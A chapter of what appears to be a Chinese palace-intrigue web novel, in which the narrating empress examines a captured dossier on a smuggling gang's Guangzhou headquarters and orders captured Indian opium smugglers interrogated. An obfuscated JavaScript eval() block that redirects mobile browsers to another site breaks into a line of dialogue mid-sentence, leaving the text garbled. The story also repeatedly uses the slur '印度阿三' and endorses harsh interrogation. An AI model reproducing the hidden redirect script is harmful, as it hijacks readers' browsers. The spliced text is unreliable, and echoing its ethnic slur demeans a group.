汤山剿匪的善后与清查工作仍在紧锣密鼓地进行。抚标参将马得功亲自坐镇,指挥留下的兵士对那座温泉别院进行地毯式搜查,连一块地砖、一面夹墙都不放过。我深知,这种盘踞多年的巢穴,往往藏着比明面上更多的秘密与罪证。
就在李卫紧锣密鼓审讯杨继祖等人、年羹尧与粘杆处侦查烟土网络的同时,马得功派回的军官带来了令人精神一振的消息。
那名军官满面风尘却难掩兴奋,呈上一个用油布包裹得严严实实的卷宗:“皇后娘娘!大收获!在别院主厅的夹层暗格里,发现了这个!”
我示意剪秋接过,展开那厚厚的卷宗。纸张有些泛黄,墨迹新旧不一,显然是多年积累而成。上面密密麻麻记录着人名、代号、联络方式、银钱往来……但最引人注目的,是开篇几页和末尾附录的几张草图与地址名录。
我的目光迅速扫过,心渐渐沉了下去,随即又被一种冰冷的锐意取代。这不仅仅是一本地下组织的花名册或账本,这是一份堪称详尽的“组织架构图”与“联络部署档案”!
其中清晰标明:红帮真正的总舵,并不在江宁,甚至不在江南,而在——广州! 地址精确到了街巷门牌!而所谓的“朱三太子”杨继祖,在这里被标注为“江宁香主”或“江南巡查使”之类的头衔,充其量是个高级别的地方负责人。真正被尊为“总舵主”、“大哥”的,是一个代号为“潜龙”的神秘人物,其真实姓名未载,但常驻地点同样指向广州,亦有精确地址!此外,卷宗里还列出了散布在福建、浙江、江西乃至湖广的十几处重要分舵、香堂的地址和主事人,有些甚至标注了秘密仓库和集会点。
这已经不是普通的帮会或反清复明组织了。它有明确的层级架构,有覆盖数省的秘密网络,有详细的人员档案和联络机制,有稳定的资金来源,有武装力量,还有明确的政治纲领和行动目标。这完全符合一个有组织、有纲领、有资金、有武装的潜在叛乱集团,或者说,恐怖组织的特征!其危害性,远超我们之前的估计!
我的手指轻轻敲击着那行“广州”的地址,指尖冰凉。广州……十三行……印度阿三……烟土…… 一条隐约的线索似乎开始串联。红帮的总部设在天高皇帝远、对外贸易频繁、洋人汇聚的广州,绝非偶然。那里更方便他们与海外势力勾结,获取资金、武器,也更利于他们隐蔽和转移。
“立刻,着粘杆处最精于临摹、且绝对可靠的人手,将此卷宗中关于红帮总部架构、各地分舵地址、核心人员名录及广州详细地址的部分,一字不差、一笔不漏地抄录下来。” 我沉声吩咐,声音里带着不容置疑的决断,“抄录完毕,原件严密封存。抄本,以最快速度,六百里加急,密送京师,直达御前,呈交皇上亲览! 记住,途中不得有任何耽搁,不得经任何其他官员之手,确保万无一失!”
“嗻!” 那名军官神色一凛,双手接过卷宗,如同捧着千斤重担,躬身退下。他知道,这份东西,足以在朝野掀起惊天巨浪。
处理完这最紧急的情报,我走出临时充作指挥所的书房,来到前院。那里停着几辆用篷布遮盖的板车,马得功派回的兵士正守在一旁,见我来,连忙掀开篷布。
映入眼帘的,是一口口码放整齐、散发着怪异甜腻气味的木箱。箱盖已被撬开,里面塞满了用油纸包裹的、黑褐色、膏状或块状的物质——烟土! 数量之多,远超之前在码头截获的那一批。浓烈而令人作呕的气味弥漫开来,即使站在几步开外,也能感到一阵头晕。
我强忍着不适,走近查看。箱体上没有任何中文标识,却用某种暗红色的颜料,涂画着一些扭曲奇异的文字和符号。我仔细辨认,那不是我所知的任何一种欧洲文字,倒更像是……梵文?或者印度地区的某种文字?夹杂着一些难以理解的图案。
果然!与那些印度阿三直接相关!这些烟土,恐怕就是通过红帮的网络,从海路走私进来,再分销至江南乃至内陆的毒源!
就在这时,院外传来一阵马蹄声和呵斥声。年羹尧派来的一队西北军士,押解着几个肤色黝黑、高鼻深目、穿着奇特、被反绑双手、用黑布蒙着头的人,走了进来。
“启禀娘娘!” 带队的一名西北军把总单膝跪地,“年大将军命卑职押送这几名俘虏前来。是在镇江码头一处隐秘货栈查获的,当时他们正在清点、分装烟土,被我们逮个正着!看样貌言语,绝非我大清子民!”
“摘下头套。” 我命令道。
头套被扯下,露出几张充满惊恐、愤怒与不甘的异域面孔。果然,是印度人!与之前口供中提到的“印度阿三”对上了!
“粘杆处!” 我冷声喝道。
“奴才在!” 一直随侍在侧的粘杆处首领立刻上前。
“这些人,交给你们。两个时辰,本宫要结果。不管你们用什么方法,问清楚他们的来历、所属势力、如何与红帮勾结、烟土来源、运输路线、接头方式,还有没有其他同伙、窝点!” 我的声音没有一丝温度。对于这些漂洋过海来毒害大清子民的刽子手,无需任何怜悯。
“嗻!奴才领命!” 粘杆处首领眼中寒光一闪,挥手示意手下将那几个不断挣扎、嘴里叽里咕噜说着听不懂语言的印度人拖走。他们自有无数种方法,让这些人在最短时间内开口。
等待的时间似乎格外漫长。书房内,我强迫自己静下心来,继续批阅李卫送来的关于江宁治安恢复、安置作坊进展等日常公文,但心思总是不由自主飘向那阴冷的刑讯室和即将送出的密报。
不到两个时辰,粘杆处首领便去而复返,身上带着一丝淡淡的血腥气,但眼神清明,显然已有收获。
“娘娘,招了。” 他言简意赅,“这几个,是印度沿海地区的海盗,同时也种植、加工、贩卖鸦片。受雇于一个叫‘加尔各答商会’的组织,专门负责将鸦片从印度运到广州,再通过红帮的网络销往内地。他们承认,红帮的头目与他们有过密约,意图用这些烟土
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17018806|193341||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,腐蚀、控制大清的军队和官员,先从底层兵痞、小吏入手,逐步渗透,最终达到削弱大清国力、制造混乱的目的。”
“呵……” 我从鼻子里发出一声极冷极轻的嗤笑,怒火在胸中升腾,却又奇异地混合着一丝荒谬与鄙夷,“腐蚀大清军队?控制官员?就凭这些乌黑恶臭的泥膏?”
我站起身,走到窗前,望着外面沉沉的夜色,声音不大,却字字清晰,带着一种居高临下的嘲讽与凛然:“本宫承认,大清的军队里,有喝兵血的蛀虫,有纪律涣散的败类,地方官吏中,也有贪赃枉法的硕鼠。这些,皇上与本宫从未回避,也在大力整顿。” 我顿了顿,语气陡然转厉,“但是!将这与走私烟土、祸国殃民、乃至勾结外敌、图谋叛乱相提并论,那就大错特错了!”
我转过身,目光如电,扫过屋内众人:“收点保护费,克扣些粮饷,那是贪,是蠹,是法纪废弛,固然可恨,但说到底,还是内部的问题,是疥癣之疾,可以整顿,可以清除。”
“可走私烟土,毒害我大清子民身心,妄图以此腐蚀军队根基,勾结外洋海盗,颠覆朝廷——这是叛国!是汉奸!是十恶不赦、人人得而诛之的大罪!” 我的声音在寂静的房间里回荡,“真以为我大清的将士,都是见利忘义、不分是非的软骨头?真以为大清的官员,都会为了这口黑烟,连祖宗家国都不要了?太把自己当回事,也太把别人看扁了!”
我的愤怒并非凭空而来。诚然,清朝军队和官场有诸多积弊,但涉及国家主权、民族大义的底线,绝大多数官兵和士人,还是分得清的。红帮和这些印度海盗,企图用烟土这种下三滥的手段来达成政治目的,不仅是恶毒,更是愚蠢!他们低估了这个庞大帝国的凝聚力,也低估了即使是在腐败的官僚体系中,依然存在的起码的忠奸之分。
“把他们的口供详细记录下来,画押确认。” 我对粘杆处首领道,“连同之前关于红帮总部的情报,一并急送京城。至于这几个印度海盗……” 我眼中寒光一闪,“严加看管,留作人证。待此间事了,连同所有罪证,一并押解进京,由皇上圣裁! 也让朝野上下,都看看这些外洋魑魅魍魉的丑恶嘴脸,和红帮逆贼里通外国的汉奸行径!”
“嗻!”
夜色更深了。江宁城在经历了白日的喧嚣与暗夜的惊雷后,似乎陷入了短暂的沉睡。但我知道,这沉睡之下,激流仍在涌动。红帮的总部在广州,年羹尧的刀锋指向了江南的地下网络,印度海盗的落网撕开了跨国毒贩的一角……棋局越来越大,对手也越来越隐秘、凶险。
但我的头脑却异常清晰。攘外必先安内,安内则需刮骨疗毒。江南的毒瘤要剜除,广州的祸根更要斩断!而这一切,都需要更快、更狠、更准的行动,以及……京城那道至高无上的旨意。
我望向北方,紫禁城的方向。皇上的批复,应该快到了吧?带着他的意志,和更强大的力量。这场席卷江南、波及海疆的清风暴雨,还远未到停歇之时。